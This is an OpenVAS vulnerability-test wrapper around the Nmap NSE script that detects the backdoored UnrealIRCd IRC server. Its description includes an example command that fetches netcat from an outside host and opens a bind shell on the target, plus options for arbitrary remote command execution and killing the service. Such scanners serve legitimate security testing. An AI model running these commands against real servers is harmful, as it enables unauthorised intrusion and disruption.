Nmap NSE net: irc-unrealircd-backdoor

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_nmap_irc_unrealircd_backdoor_net.nasl 5505 2017-03-07 10:00:18Z teissa $
#
# Autogenerated NSE wrapper
#
# Authors:
# NSE-Script: Vlatko Kosturjak and Ron Bowes
# NASL-Wrapper: autogenerated
#
# Copyright:
# NSE-Script: The Nmap Security Scanner (http://nmap.org)
# Copyright (C) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long
it takes to respond.

The 'irc-unrealircd-backdoor.command' script argument can be used to  run an arbitrary
command on the remote system. Because of the nature of this vulnerability (the output is never
returned) we have no way of getting the output of the command. It can, however, be used to start a
netcat listener as demonstrated here: '   $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse
--script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x
./nc && ./nc -l -p 4444 -e /bin/sh' <target>   $ ncat -vv localhost 4444   Ncat: Version 5.30BETA1 (
http://nmap.org/ncat )   Ncat: Connected to 127.0.0.1:4444.   pwd
/home/ron/downloads/Unreal3.2-bad   whoami   ron '

Metasploit can also be used to exploit this vulnerability.

In addition to running arbitrary commands, the 'irc-unrealircd-backdoor.kill' script
argument can be passed, which simply kills the UnrealIRCd process.

 Reference: * http://seclists.org/fulldisclosure/2010/Jun/277 *
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt *
http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor


SYNTAX:

irc-unrealircd-backdoor.wait:  Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value). 



irc-unrealircd-backdoor.kill:  If set to '1' or 'true', kill the backdoored UnrealIRCd running. 


irc-unrealircd-backdoor.command:  An arbitrary command to run on the remote system (note, however, that you won't see the output of your command).
This will always be attempted, even if the host isn't vulnerable. The pattern '%IP%' will be replaced with the ip address of the target host.";

if(description)
{
    script_id(104013);
    script_version("$Revision: 5505 $");
    script_tag(name:"last_modification", value:"$Date: 2017-03-07 11:00:18 +0100 (Tue, 07 Mar 2017) $");
    script_tag(name:"creation_date", value:"2011-06-01 16:32:46 +0200 (Wed, 01 Jun 2011)");
    script_tag(name:"cvss_base", value:"7.5");
    script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
    script_name("Nmap NSE net: irc-unrealircd-backdoor");


    script_category(ACT_INIT);
    script_tag(name:"qod_type", value:"remote_analysis");
    script_copyright("NSE-Script: The Nmap Security Scanner; NASL-Wrapper: Greenbone Networks GmbH");
    script_family("Nmap NSE net");
    script_dependencies("nmap_nse_net.nasl");
    script_mandatory_keys("Tools/Launch/nmap_nse_net");

    script_add_preference(name:"irc-unrealircd-backdoor.wait", value:"", type:"entry");
    script_add_preference(name:"irc-unrealircd-backdoor.kill", value:"", type:"entry");
    script_add_preference(name:"irc-unrealircd-backdoor.command", value:"", type:"entry");

    script_tag(name : "summary" , value : tag_summary);
    exit(0);
}


include("nmap.inc");


phase = 0;
if (defined_func("scan_phase")) {
    phase = scan_phase();
}

if (phase == 1) {
    # Get the preferences
    argv = make_array();

    pref = script_get_preference("irc-unrealircd-backdoor.wait");
    if (!isnull(pref) && pref != "") {
        argv["irc-unrealircd-backdoor.wait"] = string('"', pref, '"');
    }
    pref = script_get_preference("irc-unrealircd-backdoor.kill");
    if (!isnull(pref) && pref != "") {
        argv["irc-unrealircd-backdoor.kill"] = string('"', pref, '"');
    }
    pref = script_get_preference("irc-unrealircd-backdoor.command");
    if (!isnull(pref) && pref != "") {
        argv["irc-unrealircd-backdoor.command"] = string('"', pref, '"');
    }
    nmap_nse_register(script:"irc-unrealircd-backdoor", args:argv);
} else if (phase == 2) {
    res = nmap_nse_get_results(script:"irc-unrealircd-backdoor");
    foreach portspec (keys(res)) {
        output_banner = 'Result found by Nmap Security Scanner (irc-unrealircd-backdoor.nse) http://nmap.org:\n\n';
        if (portspec == "0") {
            security_message(data:output_banner + res[portspec], port:0);
        } else {
            v = split(portspec, sep:"/", keep:0);
            proto = v[0];
            port = v[1];
            security_message(data:output_banner + res[portspec], port:port, protocol:proto);
        }
    }
}